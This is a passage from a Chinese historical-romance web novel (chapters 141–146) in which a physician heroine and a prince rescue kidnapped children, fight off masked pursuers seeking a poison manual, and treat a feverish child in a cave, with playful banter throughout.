我不仅有,姜绾歌眼中闪过一丝狡黠,还改良过。她将药丸在阁主眼前晃了晃,原版的血莲丹只能解百毒,我这个...专克蚀骨毒。 不可能!阁主失声道,血莲千年难得一见,你一个小小医女... 谁说我只是个医女?姜绾歌垂眸掩去眼底冷意。 融合原主记忆时,她捕捉到那段模糊的幼年往事——六岁那年,原身曾随家人跋涉百里,前往药王谷求过续命丹。 指尖无意识摩挲着腰间药囊,她勾起一抹从容笑意:忘了告诉你,我师承药王谷。 药王谷!阁主瞳孔骤缩。那可是传说中的医道圣地,门下弟子个个都是医道大家! 你...你是药王谷的人? 信不信由你。姜绾歌将血莲丹塞进顾云霁嘴里,吞下去。 顾云霁毫不犹豫地服下药丸。片刻后,他手掌的黑色血丝开始消退,脸色也恢复了正常。 姜大夫这般急着救本王...顾云霁指尖在她掌心轻轻一挠,笑得意味深长,莫不是怕守寡? 姜绾歌耳根发烫,慌忙抽回手:王爷若是活腻了,我可以不救。 阁主见势不妙,突然咬牙道:就算你们能解毒又如何?这山洞里机关重重,你们出不去的! 他话音未落,洞壁上突然响起咔咔声。无数石块开始松动,竟是要塌方! 他要同归于尽!顾云霁脸色一变。 快救孩子!姜绾歌顾不上阁主,连忙跑向那些被绑的孩童。她银针飞舞,割断绳索的同时,还要在每个孩子身上扎针止血。 顾云霁一剑将最后几根绳索斩断,抱起两个最小的孩子:这边有条密道! 姜绾歌抱起另外三个孩子,跟着顾云霁往密道跑去。身后传来轰隆巨响,整个洞穴开始坍塌。 密道狭窄逼仄,只容一人通过。顾云霁在前开路,姜绾歌紧随其后。怀中的孩子们因为吸入毒气,呼吸都很微弱。 还有多远?姜绾歌气喘吁吁地问。 快了。顾云霁回头看了她一眼,撑不住就说。 废话!姜绾歌瞪他,我可是要保护这些孩子的! 话音刚落,前方突然出现一道亮光。两人冲出密道,发现已经到了山腰的另一侧。 “总算重见天日了。”顾云霁懒洋洋地放下怀中的孩子,指尖轻弹衣袖上并不存在的灰尘,“姜大夫这趟可真是让本王......大开眼界。” 姜绾歌正忙着给孩子们施针,头也不抬地回怼:“王爷若是闲得慌,不如去数数蚂蚁?” 第141章 山中追击 “蚂蚁哪有姜大夫有趣。”顾云霁倚着树干,目光在她沁汗的额角流连,“尤其是...扎针时的模样。” “唰”的一声,一枚银针擦着他耳畔钉入树干。姜绾歌冷笑:“下一针可就没这么准了。” 最小的女孩突然醒来,奶声奶气道:“姐姐好凶...” 顾云霁蹲下身,笑眯眯地掏出块糖:小丫头有眼光,这位凶姐姐可是连阎王都敢扎的主儿。 姜绾歌一把抢过糖塞进女孩嘴里:少教坏孩子!转头柔声哄道,乖,吃了糖就不怕了。 绾歌...顾云霁突然凑近,方才那药王谷的谎话... 怎么?她手中银针寒光一闪,王爷要治我个欺君之罪? 岂敢。顾云霁低笑,只是好奇...姜大夫编故事时,睫毛颤得格外好看。 山体突然剧烈震动,碎石簌簌滚落。姜绾歌护住孩子,挑眉道:王爷现在是不是该说"天崩地裂也要护你周全"之类的蠢话? 那多俗气。顾云霁随手挥开坠落的碎石,本王比较想说...他忽然揽住她的腰闪到安全处,姜大夫再瞪我,小心长皱纹。 山下马蹄声骤起,青铜面具在阳光下泛着冷光。姜绾歌倒吸一口凉气:见鬼了不成? 顾云霁慢条斯理地拔剑:看来有人...很想要姜大夫的针法秘籍啊。 闭嘴!姜绾歌抱起两个孩子,再啰嗦就把你扔给那些黑衣人! 真狠心。顾云霁剑尖轻挑,击飞第一支射来的箭矢,不过...本王就喜欢你这副凶巴巴的模样。 黑衣骑士越来越近,弯刀寒光刺眼。姜绾歌护着孩子后退,银针在指间闪着冷芒。 王爷还不动手,是等着给人当靶子吗?她冷声喝道。 顾云霁慢悠悠挽了个剑花:姜大夫这是在担心本王? 担心你死得太慢!她反手三枚银针射出,最前面的黑衣人应声落马。 啧,真凶。顾云霁剑光如虹,瞬间挑翻两名骑士,不过本王就喜欢... 闭嘴!姜绾歌又放倒一人,再废话就把你舌头也扎穿! 顾云霁突然贴近她背后,温热的呼吸喷在她耳畔:那姜大夫可要负责喂我吃饭... 你!姜绾歌气得手一抖,银针差点扎偏。 小心。他轻笑着挡开一支暗箭,谋杀本王你可是要守寡的。 马蹄声把顾云霁这话淹没了,声音在山谷中回荡得震耳欲聋。姜绾歌抱着两个孩子,感受到怀中小身躯因恐惧而颤抖,心中怒火蹭蹭直冒。 这帮阴魂不散的狗东西!姜绾歌护着怀中颤抖的孩子,银针在指间泛着寒光,王爷若是腿脚不利索就直说,别在这碍手碍脚! 顾云霁不慌不忙地挽了个剑花,剑锋精准挑落三支暗箭:姜大夫这般着急,可是担心本王...受伤? 担心你早死早超生!姜绾歌反手甩出五枚银针,最前面的三个黑衣人应声落马,再废话我就先送你一程! 怀中的小女孩突然抽泣起来,姜绾歌瞬间变了脸色,声音柔得能掐出水来:乖乖不怕,姐姐在这儿呢...转头又恶狠狠地瞪向顾云霁,都怪你!把孩子吓着了! 顾云霁看着她判若两人的模样,低笑出声:姜大夫变脸的本事,倒是比医术更胜一筹。 闭嘴!姜绾歌一脚踹翻扑来的黑衣人,顾云霁!你再不认真对敌... 再怎样?顾云霁突然贴近她背后,温热的呼吸拂过她耳畔,用银针扎我?他低笑,本王倒是很期待... 你!姜绾歌气得手一抖,银针差点偏了方向。怀里的孩子却突然破涕为笑:哥哥姐姐在玩游戏吗? 玩你个头!姜绾歌耳尖通红,顾云霁你给我滚远点! 遵命。顾云霁嘴上应着,手上剑招却愈发凌厉,不过姜大夫脸红的样子...着实令人心痒。 姜绾歌银针一转:再敢胡言乱语,我就让你尝尝"七日断肠散"的滋味! 顾云霁趁机揽住她的腰,带着她往旁边的岩石掠去:姜大夫要下毒尽管来,不过...他凑近她耳边,压低声音道,等安全了再慢慢算账,如何? 话音刚落,一支羽箭擦着顾云霁的耳畔飞过,钉在前方的树干上,箭尾还在颤动。 找死!姜绾歌想爆粗口,抱紧怀中的孩子往旁边的岩石后躲去,王爷快过来! 顾云霁也抱着孩子闪到岩石后,呼了口气:看来是躲不了了。 谁说要躲了?姜绾歌从袖中摸出一包药粉,眼中闪过一丝杀气,我倒要看看,是他们的箭快,还是我的毒快。 黑衣骑士们已经冲到近前,为首那人勒住马缰,青铜面具在阳光下泛着冷光:交出《毒经》残页,饶你们不死! 呸!姜绾歌从岩石后探出头来,想要残页?做你的春秋大梦去! 面具人冷笑:敬酒不吃吃罚酒!他一挥手,十几个黑衣人立刻张弓搭箭。 绾歌小心!顾云霁下意识要护住她,却被她按住。 别动!姜绾歌眯起眼睛,银针已经夹在指间,让我来! 她突然站起身,将手中药粉用力抛向空中。粉末在风中散开,形成一片淡绿色的雾气。 是毒粉!快屏息!有黑衣人大喊。 屏息有什么用?姜绾歌冷笑,这可不是普通的毒粉。她指尖轻弹,三枚银针破空而出,这是"见血封喉"! 银针带着药粉射向最前方的三个黑衣人。他们想要躲避,却发现手脚忽然不听使唤,眼睁睁看着银针射中胸口。 这...这是什么毒?其中一人惊恐地看着胸前的银针。 没什么,姜绾歌拍拍手,一副事不关己的样子,就是让你们暂时动不了而已。她顿了顿,坏笑道,大概...三个时辰吧。 顾云霁看着她得意洋洋的样子,忍不住摇头。 这女人的毒术,还真是防不胜防,还好不是给我下的。 面具人见状大怒:杀了他们! 黑衣人如潮水般涌来,刀光在烈日下闪烁着刺目的寒芒。顾云霁护着怀中孩童,剑招虽精妙却始终留有余地,生怕伤到孩子分毫。 第142章 相思断的加强版 姜绾歌见状,立即将两个孩子安置在一块突出的岩石后方。 她蹲下身,指尖轻抚过孩子们的发顶,声音温柔似水:闭上眼睛数到一百,姐姐就回来找你们。起身时,袖中银针已然在手,寒光闪烁。 王爷这般束手束脚,不如回家带孩子去?她话音未落,七枚银针已破空而出,精准命中敌人膝间要穴。中针者顿时跪倒在地,哀嚎连连。 顾云霁趁机将怀中孩童安置妥当,长剑出鞘带起一道凌厉寒芒:姜大夫这般体贴入微,本王甚是感动。只是...他剑锋一转,挑开袭来的弯刀,这般关心,莫不是对本王有意已久? 感动就闭嘴!姜绾歌旋身避开刀锋,又是三针连发,针针直取要害,专心应敌!再敢胡言乱语,我就让你尝尝哑穴的滋味! 二人背靠背而立,剑光针影间配合得天衣无缝。 顾云霁的剑招大开大合,如行云流水。姜绾歌的银针刁钻狠辣,招招致命。黑衣人虽众,却始终无法近身。 姜大夫可知,顾云霁突然开口,剑锋划过一名黑衣人的咽喉,你这般模样,当真是... 闭嘴!姜绾歌一针擦着他脸颊飞过,钉入身后偷袭者的眉心,再敢胡说八道,下一针就让你永远开不了口! 最后一个黑衣人倒下时,顾云霁剑尖轻挑,掀开对方衣襟:果然...那青色纹身在阳光下格外刺眼,与阁主身上的如出一辙。 姜绾歌银针在指尖灵活一转,冷笑道:看来有人阴魂不散,非要找死。 无妨。顾云霁收剑入鞘,缓步走向她,有姜大夫相伴,便是刀山火海也... 两人配合默契,一个远攻一个近战。不一会儿,十几个黑衣人就倒了大半。 面具人见势不妙,突然从怀中掏出一个小巧的竹筒,对准天空就是一声尖啸。 信号弹!顾云霁脸色一变,他在叫增援! 那就不能让他活着!姜绾歌眼中闪过杀意,手中银针直奔面具人咽喉。 面具人侧身躲过,反手一掌拍向姜绾歌。姜绾歌闪避不及,被掌风擦中肩膀,身形一晃。 绾歌!顾云霁大急,剑势骤然凌厉,直取面具人要害。 面具人慌忙招架,却被顾云霁的怒火震得连连后退。 敢伤她?顾云霁声音冷得像冰,找死! 剑光闪过,面具人的青铜面具应声而裂,露出一张陌生的脸。 不是阁主...姜绾歌捂着肩膀站起身,果然是替身。 那人见身份暴露,突然狞笑:就算你们杀了我又如何?主上的计划已经开始,整个京城...都将陷入混乱! 话音未落,他咬碎口中毒囊,七窍流血而亡。 顾云霁皱眉看着地上的尸体:死士。 王爷!姜绾歌突然指向远处,你看! 山下烟尘滚滚,铁蹄声震得地面都在轻颤。姜绾歌眯起眼睛细数,这次来的人马比之前多了一倍不止。 真是阴魂不散。她轻嗤一声,指尖无意识地摩挲着银针,看来阁主是把老本都押上了。 顾云霁眉头微蹙,伸手按住她渗血的衣袖:伤得不轻。 死不了。姜绾歌甩开他的手,却在看到孩子们惊恐的眼神时放柔了语气,别怕,姐姐在呢。 顾云霁扫视四周,目光落在不远处的山崖上:带着孩子,我们撑不到援军赶来。 那就不跑了。姜绾歌忽然抬头,眼中闪烁着危险的光芒,既然他们这么想要《毒经》残页,我就给他们一个永生难忘的教训。 你想做什么?顾云霁有些不安,他太了解这女人了,每次她露出这种表情,准没好事。 姜绾歌神秘一笑,从怀中掏出那张从《毒经》上撕下的残页:王爷可知道,这上面除了"相思断"的配方,还有什么? 顾云霁凑近看了看,只见纸张边缘还有一些模糊的字迹:这是... 解毒方法。姜绾歌得意地说,《毒经》的编撰者虽然心狠手辣,但也不是完全丧心病狂。每种毒药的配方旁边,都会留下解毒的线索。 所以? 所以我可以配制出"相思断"的加强版,姜绾歌眼中闪过一丝得意,无色无味,见血即发。中毒者会在极短时间内失去行动能力,但不会死。 顾云霁明白了她的意思:你要下毒? 不是下毒,是自卫。姜绾歌纠正道,他们要杀我们,我只是让他们睡一觉而已。 说着,她开始从药囊中取出各种药材,手法熟练地配制起来。山风吹过,带起她鬓间的发丝,在阳光下如丝如缕。 顾云霁看着姜绾歌那副认真劲儿,心里突然软了一下。这丫头平时凶巴巴的,可一到紧要关头,总能冒出些鬼点子来。 他瞧着她紧锁的眉头,抿成一条线的嘴唇,还有那双亮得吓人的眼睛,不自觉地勾了勾嘴角。 看什么看?姜绾歌头也不抬,手上动作不停,没见过人想办法啊? 顾云霁轻咳一声,移开视线:就是觉得...你这副样子还挺顺眼的。 姜绾歌手上银针差点扎歪,耳根子悄悄红了:闭嘴!再废话把你舌头缝上! 姜绾歌利落地将最后一份药粉包进油纸,指尖灵巧地打了个结。火光映在她专注的侧脸上,长睫在眼下投出一小片阴影。 “好了。”她将几包药粉拢入袖袋,抬眼看向抱剑倚在岩壁旁的顾云霁,“待会儿你往东边那片开阔地跑,动静闹大点,把狗都引过去。” 顾云霁慢悠悠地直起身,剑穗随着他的动作轻轻晃动:“姜大夫使唤起本王来,倒是愈发顺手了。”他踱步过来,居高临下地看着她,“只是...让本王去当那活蹦乱跳的诱饵,姜大夫于心何忍?” “少在这装可怜!”姜绾歌没好气地白他一眼,手指无意识地摩挲着袖袋里的药包,“论起跑路和挨揍的本事,王爷您称第二,京城谁敢称第一?” 顾云霁低笑出声,胸腔微微震动:“姜大夫对本王的评价,还真是...别具一格。”他忽然俯身,凑近了些,目光落在她沾了点药粉的鼻尖上,“不过,让一个姑娘家去做那撒毒粉的危险勾当,传出去岂不是显得本王很没用?” 第143章 “醉清风”药粉 “危险?”姜绾歌嗤笑一声,指尖拈起一包药粉在他眼前晃了晃,“王爷懂什么叫‘醉清风’吗?这玩意儿,力道轻了,飘不到人堆里。力道重了,风一卷全糊自己脸上。角度不对,药粉撒不开;时机不准,全喂了山风。您那大开大合的剑法,玩得转这精细活儿?” 她挑眉,眼中带着毫不掩饰的挑衅,“还是说,王爷觉得自己比我这读医十几年的人更懂分寸?” 顾云霁被她一串连珠炮似的专业术语堵得哑口无言,看着她因激动而微微泛红的脸颊,以及那双亮得惊人的眸子,只得无奈地举手做投降状:“伶牙俐齿,本王甘拜下风。” 他话锋一转,语气里带上几分不容置疑,“但有一点,你必须在顺风位,且离他们至少三十步。若风向有变或他们冲得太快,立刻收手,不许逞强。” “啰嗦!”姜绾歌嘴上嫌弃,手上却快速检查了一遍袖袋和腰间的银针袋,确保药包取用方便,“我又不是第一次干这种刀尖舔血的活儿,用不着王爷您在这指点江山。” 她顿了顿,声音压低了些,“管好你自己,别真被射成刺猬,我可懒得救。” 顾云霁看着她强装镇定却难掩紧绷的肩膀,眼底掠过一丝极淡的笑意。 他忽然伸手,不是碰她,而是极其自然地替她拂落了肩头一片不知何时沾上的枯叶,动作快得姜绾歌甚至没来得及躲闪。 “放心,”他收回手,指尖仿佛还残留着衣料的触感,语气恢复了惯有的慵懒和一丝欠揍的调侃,“本王还没看够姜大夫气急败坏跳脚的模样,舍不得死。” 就在这时,沉闷如雷的马蹄声骤然清晰,大地仿佛都在震颤。烟尘在山道上滚滚升腾,追兵狰狞的身影已清晰可见,刀锋在渐暗的天色下闪着森冷的寒光。 姜绾歌瞳孔微缩,最后深吸一口气,压下所有杂念。 她猛地看向顾云霁,眼中只剩下凌厉的决绝和一丝孤注一掷的疯狂:“来了!按计划行事,顾云霁,别掉链子!” 顾云霁也收起了所有戏谑,长剑“铮”然出鞘,寒光映亮了他瞬间变得冷峻的眉眼。 他深深看了姜绾歌一眼,那眼神复杂难辨,有不容置疑的命令,有隐晦的关切,最终化为一句简短却沉甸甸的嘱托:“护好自己。” 话音未落,他已如离弦之箭,朝着预定的东侧开阔地疾掠而去,玄色衣袍在风中猎猎作响,瞬间吸引了追兵如狼似虎的目光。 姜绾歌蹲在岩石后,指关节捏得发白,那包药粉都快被她攥出水来。汗珠子顺着鬓角往下淌,她胡乱抹了一把。 回头偷瞄了眼缩成一团的孩子们,最小的那个哭得直抽抽,小脸憋得通红。姜绾歌心里那把火“噌”地就烧到了天灵盖:“他娘的...今天不把这帮孙子毒趴下,老娘名字倒着写!” 她狠狠吸了口带着尘土味儿的空气,强迫自己冷静。现在可不是拍桌子骂娘的时候,风向、距离、出手的时机,都得算准了。 顾云霁的手掌带着温度,轻轻拍在她紧绷的后背上。 “手抖成这样,”他声音不高,带着点惯有的戏谑,“莫不是等着本王替你擦汗?” “滚蛋!”姜绾歌像被踩了尾巴的猫,猛地回头瞪他,声音压得极低,却字字带刺,“老娘是在算怎么把这帮孙子一锅端!谁像你似的,就知道杵在这儿说风凉话!” 顾云霁看着她炸毛又强装镇定的样子,嘴角那点笑意更深了:“哦?姜大夫神机妙算,算到哪儿了?” 姜绾歌懒得理他话里的刺,手指唰唰在地上划拉:“看好了!西北风,他们铁定从这边冲上来。”她指尖在地上戳出几个点,“等他们扎堆扎得最瓷实的时候,就是姑奶奶给他们加料的好时候!” “嗯。”顾云霁应着,目光却溜到了她那只沾了泥的手上。手指头挺好看,就是指甲缝里沾了点药粉,手背上还有几个小针眼儿...啧。 “顾!云!霁!”姜绾歌发现他眼神飘忽,没好气地一巴掌拍在他胳膊上,“发什么癔症!听没听见!” “听着呢,”顾云霁收回视线,清了清嗓子,脸上那点玩味还没散尽,“姜军师请继续。” “哼!”姜绾歌翻了个白眼,继续在地上比划,“成败就在那一哆嗦!早了药粉吃灰,晚了咱俩吃席!”她抬眼瞅了瞅天,“现在这风,这日头...” 话音未落,第一波骑兵卷着烟尘已经冲到眼皮子底下。 领头的家伙挥着明晃晃的弯刀,扯着嗓子嚎:“《毒经》交出来!否则格杀勿论!” 姜绾歌的心一下子提到了嗓子眼,攥着药包的手心全是汗。她能感觉到旁边顾云霁的身体瞬间绷紧,像张拉满的弓。 “绾歌,”顾云霁的声音压得极低,带着一丝不易察觉的紧绷,“听好了,我数到三。” “嗯!”姜绾歌用力点头,额角的汗珠滚了下来。 脑子里乱七八糟的念头嗡嗡响:药配淡了?风突然转向了?失手了怎么办?孩子们怎么办?旁边这讨人嫌的家伙... 她狠狠咬了下嘴唇,指甲掐进肉里。不行!不能怂!为了小的,也为了旁边这个...咳! “一。”顾云霁的声音像冰珠落地。 姜绾歌闭上眼,血见愁三钱、断肠草半钱、清心藤汁液调和...分量!药性!在她脑子里飞速过了一遍。 “二。” 她猛地睁开眼,死死盯住前方聚拢的骑兵。就是现在!他们挤得跟沙丁鱼罐头似的! “三!” 顾云霁的身影如离弦之箭般射出,剑光寒芒炸裂,直扑领头的骑兵! 姜绾歌同时鬼魅般闪出,手腕猛地一抖。 “噗!” 淡绿色的粉末瞬间在西北风里炸开,化作一片诡异的薄雾,兜头罩向那群骑兵! “咳咳...什么东西?!” “妈的!有毒!散开!快散开!” 晚了!吸了粉末的家伙们立刻手脚发软,刀都拿不稳了。马匹受惊,嘶鸣着乱窜。 “哈!爽!”姜绾歌看着眼前兵荒马乱的景象,忍不住叉腰笑出声,“敢欺负孩子?姑奶奶的毒滋味如何?!” 顾云霁趁机如虎入羊群,剑光翻飞,精准地拍晕那些东倒西歪的骑兵,动作干净利落,没要人命,但足够他们躺上十天半月了。 第144章 又一个独家配方 身边,汗珠沿着紧绷的下颌线滑落:“还剩多少‘醉清风’?” “最后一包了!”姜绾歌烦躁地甩了甩袖子,“没用了!人家防得滴水不漏!” 眼瞅着那群湿布蒙面的骑兵越逼越近,她心里像揣了只兔子。刚才那招废了,再用就是傻子。可除了撒毒粉,她还有什么牌? “要不...”她咬咬牙,眼神瞟向旁边的密林小路,“咱俩分头走?你带孩子钻林子?” “想都别想!”顾云霁想都没想就截断她的话,“我顾云霁是丢下同伴自己跑路的人?” 姜绾歌心头猛地一热,嘴上却更冲:“死脑筋!带着几个小娃娃能跑多快?你想被包饺子吗!” “包饺子也认了!”顾云霁的剑尖重重杵在地上,激起几点碎石,“要留一起留,要走一起走!没有第二条路!” “快住口!”姜绾歌气得跺脚,“青天白日的,说什么留啊走的!晦气!” 话是冲得很,可那股暖流还是直往心窝里钻。这倔驴…紧要关头倒显出几分担当。 第二波骑兵已然围拢,领头的刀疤脸扯着嗓子,声音像砂纸磨铁:“小娘子骨头挺硬?最后问一遍,《毒经》交是不交?” “交你个大头鬼!”姜绾歌毫不示弱地呛回去,“想要残页?做梦去吧!” 顾云霁侧目看着她梗着脖子、寸步不让的样子,嘴角那点笑意差点没藏住。这女人,刀架脖子上了嘴皮子还这么利索。 “姐姐...”缩在岩石缝里的小丫头带着哭腔,声音细得像蚊子哼哼,“我…我怕…” 姜绾歌回头撞上那几双惊惶不安的眼睛,火气“腾”地直冲天灵盖。她猛地转身,指着刀疤脸的鼻子厉声喝道:“下作东西!吓唬三岁稚童算什么本事?有能耐冲我来!” 刀疤脸脸色一沉:“敬酒不吃吃罚酒!放箭!” 十几张强弓瞬间拉满,冰冷的箭簇在阳光下闪着死亡的光泽。姜绾歌后颈寒毛倒竖,脚跟却像生了根,半步不退——后头就是孩子! 顾云霁的手突然覆上她汗湿微凉的手背:“慌什么?天塌下来,有我顶着。” “谁慌了!”姜绾歌梗着脖子甩开他,“我在想对策呢!”她眼珠飞快一转,突然从袖袋里摸出个拇指大的青瓷瓶,脸上露出一种近乎狡黠的笑容,“嘿,给他们开开眼界!” 顾云霁盯着那玩意儿,心里有疑问:“这又是什么新鲜把戏?” “好东西!”姜绾歌话音未落,扬手就把瓶子狠狠砸向骑兵阵前的地面。 “嘭——!” 瓷瓶炸裂,一团浓得化不开的白烟如同蘑菇云般骤然腾起,瞬间将最前面的骑兵吞没。 “啊!我的眼睛!” “咳咳咳…这什么鬼东西?!” “辣…辣死人了!” 烟雾中顿时响起一片鬼哭狼嚎般的呛咳和咒骂。 姜绾歌猫着腰灵活地窜回顾云霁身边,得意地眉毛都要飞起来:“独家配方!上等胡椒粉打底,极品朝天椒提味,外加半钱独家秘制的‘迎风倒’——够他们喝一壶了吧?” 顾云霁一把拽住她胳膊,另一手捞起最近的孩子:“还等什么?撤!” 两人抱着孩子,借着浓烟的掩护,头也不回地向山下冲去。顾云霁边跑边咬牙切齿:“姜绾歌!下回搞这种‘惊喜’,劳烦您提前知会一声!我方才差点也着了道!” “告诉你还叫惊喜吗?”姜绾歌跑得飞快,怀里的孩子被颠得迷迷糊糊睁开眼,“再说了,你这不还活蹦乱跳,眼神好使着呢?” 身后的烟雾渐渐稀薄,追兵的叫骂声却愈发清晰刺耳。姜绾歌搂紧怀里蔫蔫的小家伙,瞥了眼旁边同样灰头土脸却眼神锐利的顾云霁,心弦绷得更紧了。这帮人迟早会追上…她得护住这几个无辜的小家伙,还有身边这个…冤家对头! “会回家的,”她轻拍孩子后背,声音像裹了层暖阳,“等姐姐收拾完那些坏蛋,就送你们回家。” 顾云霁听着那与平日判若两人的温柔腔调,心头像被羽毛扫过。这女人,平时牙尖嘴利得像只刺猬,对着孩子倒软成了一汪水。 “姜大夫哄孩子倒是一把好手。”他忍不住开口,语气带着惯有的戏谑。 “废话!”姜绾歌立刻瞪他,像被踩了尾巴的猫,“我又不是石头做的!这么小的娃娃遭罪,谁看了不揪心?”她低头看了眼怀里的小家伙,眼神软了软,“再说了,家里还有个不省心的小祖宗呢,最见不得孩子受委屈。” 提到姜小淘,她眉宇间笼上一层担忧:“那小捣蛋鬼...也不知道在府里有没有老实喝药。” “安心,”顾云霁接得自然,“我的人看着呢。” “你的人?”姜绾歌倏地抬眼,狐疑地上下打量他,“你几时往我家塞人了?” “就...前两日。”顾云霁难得露出一丝不自在,“怕你弟弟落单。” 姜绾歌盯着他看了半晌,最终哼了一声:“...算你有点良心。” 山路越发崎岖。乱石嶙峋,加上被马蹄踏得七零八落的地面,姜绾歌抱着孩子走得深一脚浅一脚。 绣鞋终究不便,一个踉跄,她直直向前栽去! “当心!”顾云霁眼疾手快,长臂一伸稳稳揽住她的腰。 骤然跌进他带着沉水香气息的怀抱,姜绾歌耳根“腾”地烧起来:“没、没事!松手!” 顾云霁这才回神,触电般收回手,自己耳尖也染了薄红。 空气凝滞了一瞬,微妙的尴尬弥漫开来。两人目光各自飘忽,谁也没看谁。 “姐姐,”怀里的小丫头眨巴着大眼睛,“你脸好红,生病了吗?” “没...没有!”姜绾歌矢口否认,“天、天太热了!” “可现在是秋天呀,”稍大的男孩困惑地挠头,“山上凉飕飕的。” 姜绾歌被噎住,只能狠狠剜了顾云霁一眼,把锅甩过去。 顾云霁莫名挨了记眼刀,却觉得她这窘迫模样格外鲜活,低笑出声。 “笑什么笑!”姜绾歌更恼了,“有什么好笑的!” “没什么,”顾云霁敛起笑意,眼底却还漾着波光,“就是觉得...姜大夫方才那平地摔跤的本事,很是别致。” “别致你个头!”姜绾歌脱口而出,随即自己先僵住了——天!她在孩子面前说什么呢! 第145章 孩子发烧 果然,几双清澈的眼睛齐刷刷望过来:“姐姐,‘个头’是什么?” 姜绾歌恨不得找个地缝钻,支支吾吾:“就...一种...很笨的小动物。” “哦~”孩子们恍然大悟,小手指向顾云霁,“那这个叔叔是吗?” 顾云霁差点又笑出来,强装委屈:“我可不是,我是好人。” “真的?”孩子们求证的目光投向姜绾歌。 被几双纯真眼睛盯着,姜绾歌头皮发麻。说他是好人?这厮总爱逗她。说他是坏人?关键时又靠得住。 “他...勉强算个好人吧。”她含糊道。 “勉强?”顾云霁挑眉,“姜大夫的评价,未免太吝啬了?” “不然呢?”姜绾歌没好气,“还想我夸你顶天立地不成?” “救命之恩,换句‘是个好人’,不过分吧?”顾云霁故意叹气。 “谁求你来救了?”姜绾歌嘴硬。 “那我走?”顾云霁作势转身。 “你敢!”姜绾歌立刻炸毛。 顾云霁唇角勾起得意的弧度:“看来姜大夫还是需要本王的。” 姜绾歌气得磨牙,却无法反驳。这厮的武功,确实是她此刻最大的依仗。 “行行行,”她没好气地挥手,“算你厉害!行了吧?” “这还差不多。”顾云霁满意颔首。 孩子们看着他们一来一往,紧绷的小脸终于放松,咯咯笑了起来。 走了一段,姜绾歌感觉怀里的小身子越来越烫。她猛地探手一摸孩子额头,脸色沉了下来:“糟了,烧起来了。” 顾云霁立刻停步,眉头紧锁:“要紧吗?” 姜绾歌利落地从药囊捻出一颗药丸塞进孩子嘴里:“吓着了,又吹了山风。”她将孩子往怀里紧了紧,用体温裹住那小小的身子,“得找个避风处。” 顾云霁目光扫过嶙峋山壁,指向不远处:“那边有个山洞。” “去看看。”姜绾歌点头。 顾云霁抢先入洞查看,确认无虞才示意他们进来。山洞不大,但容得下几人。他在洞口生了堆火,跳跃的火光驱散了洞里的阴冷。 姜绾歌把孩子们拢到火堆旁,自己跪坐在发烧的小丫头身边。她指尖搭上细弱的手腕,眉心拧得更紧了:“烧没退,反升了。”银针从她袖中滑出,精准刺入孩子几处穴位。 “唔...”孩子无意识地哼唧了一声。 “乖,忍忍,”姜绾歌指腹轻揉着孩子汗湿的额发,“姐姐在赶走病气。” 顾云霁看着她低垂的侧脸,火光在那专注的眉眼上跳跃。这女人,刀子嘴下藏着副软心肠。 “要帮手吗?”他问。 “烧点热水,”姜绾歌头也没抬,“得用药浴给她散散热。” “好。”顾云霁转身就去拾掇。 火堆噼啪作响,洞里暖意渐生。姜绾歌守在孩子身边,不时试她额温。另外几个孩子挤在旁边,小脸绷得紧紧的。 “姐姐,”一个稍大的男孩怯生生开口,“妹妹...会死吗?” “胡说什么!”姜绾歌声音不高,却斩钉截铁,“有姐姐在,阎王爷也别想从我手里抢人!” 这话像定心丸,孩子们绷紧的肩膀明显松了些。 顾云霁很快端来一盆热气腾腾的水。姜绾歌将几味草药撒入水中,氤氲的药香弥漫开来。她小心翼翼褪去孩子的外衣,将她浸入温热的药汤里。 “过会儿就能退...”姜绾歌刚舒半口气—— “嗒、嗒、嗒...” 洞外骤然传来密集的马蹄声,由远及近,沉闷地敲打着地面,连洞壁都仿佛在震颤! 顾云霁瞬间弹起,长剑已握在手中,眼神锐利如鹰隼。 姜绾歌护住药盆里的孩子,牙关紧咬:“阴魂不散!” 马蹄声逼近如鼓点,姜绾歌护着药盆的手微微发颤。洞外火光摇曳,映着她紧绷的侧脸。 “这帮人属狗皮膏药的?”她压低声音,齿缝里挤出寒气,“孩子正退烧的关键时候...” 怀里的小丫头似乎感应到她的焦躁,在药汤里不安地扭动。姜绾歌立刻敛了戾气,指腹轻抚孩子滚烫的额头:“乖,姐姐守着。” 顾云霁无声地贴近她身侧:“你顾孩子,外面有我。” “十几号人!你当自己是天兵天将?”姜绾歌指尖银针寒光一闪。 “硬拼是莽夫。”顾云霁目光扫向洞顶垂落的藤蔓,“有后路。”他拨开藤蔓,露出仅容一人通过的窄缝,“绕后突袭,够他们喝一壶。” 姜绾歌盯着那黑黢黢的暗道,眉头未展:“被发现就是活靶子!” “信我。”顾云霁的指节蹭过她脸颊,带起一阵战栗。 姜绾歌猛地拍开他的手,耳尖却诚实地红了:“谁管你死活!我是怕没人挡刀!”她一股脑从药囊掏出东西塞过去,“止血丸!迷魂散!别逞能,打不过就蹽!” 顾云霁攥着还带她体温的药瓶,眼底笑意漫开:“姜大夫这般体贴...” “滚!”姜绾歌一脚踹向他小腿,“再磨蹭我扎你麻穴!” 顾云霁低笑着钻入暗道。洞内霎时静得可怕,只剩火苗噼啪声和孩子压抑的呼吸。 “姐姐...”药浴里的小丫头忽然小声啜泣,“都怪我...” “胡说!”姜绾歌斩钉截铁打断,“是那些坏人该死!”她捏捏孩子发烫的小手,“等你好了,姐姐教你认草药,好不好?” 洞口猛地炸开吼声:“山洞有光!进去搜!” 姜绾歌瞬间将孩子挡在身后,银针夹满指缝。脚步声近在咫尺—— “咻!噗嗤!” 洞外骤然响起利器破空声!紧接着是重物倒地的闷响! “有埋伏!”“后山!人在后山!” 兵刃撞击声与惨叫声撕裂夜空。孩子们吓得往姜绾歌怀里钻,她搂紧他们,声音稳得出奇:“是顾叔叔在收拾坏人呢。” 打斗声渐歇。洞口逆光处陡然出现熟悉身影,衣袍染血,眼神却亮得灼人。 “可有伤着?”姜绾歌脱口而出,又立刻绷住脸,“...我是怕你误事!” 顾云霁甩去剑尖血珠:“皮都没破。”他踢开脚边半截断箭,“倒是捡了个好东西。”说着抛来一个浸血的皮囊。 姜绾歌接住一嗅,瞳孔骤缩:“烈阳草汁?”这正是退烧药的君药!山中难寻,追兵竟随身带着。 “天助我也!”她立刻舀出几滴混入药汤。不过半盏茶功夫,孩子额头已触手生凉! 第146章 洞中谈话 危机暂解,顾云霁抱剑倚坐火堆旁。跳跃的火光里,他忽然看向正给孩子擦身的姜绾歌:“方才听见有人喊‘顾叔叔救命’,喊得甚是好听。” 姜绾歌手一抖,布巾差点掉进药盆:“幻听了吧你!” 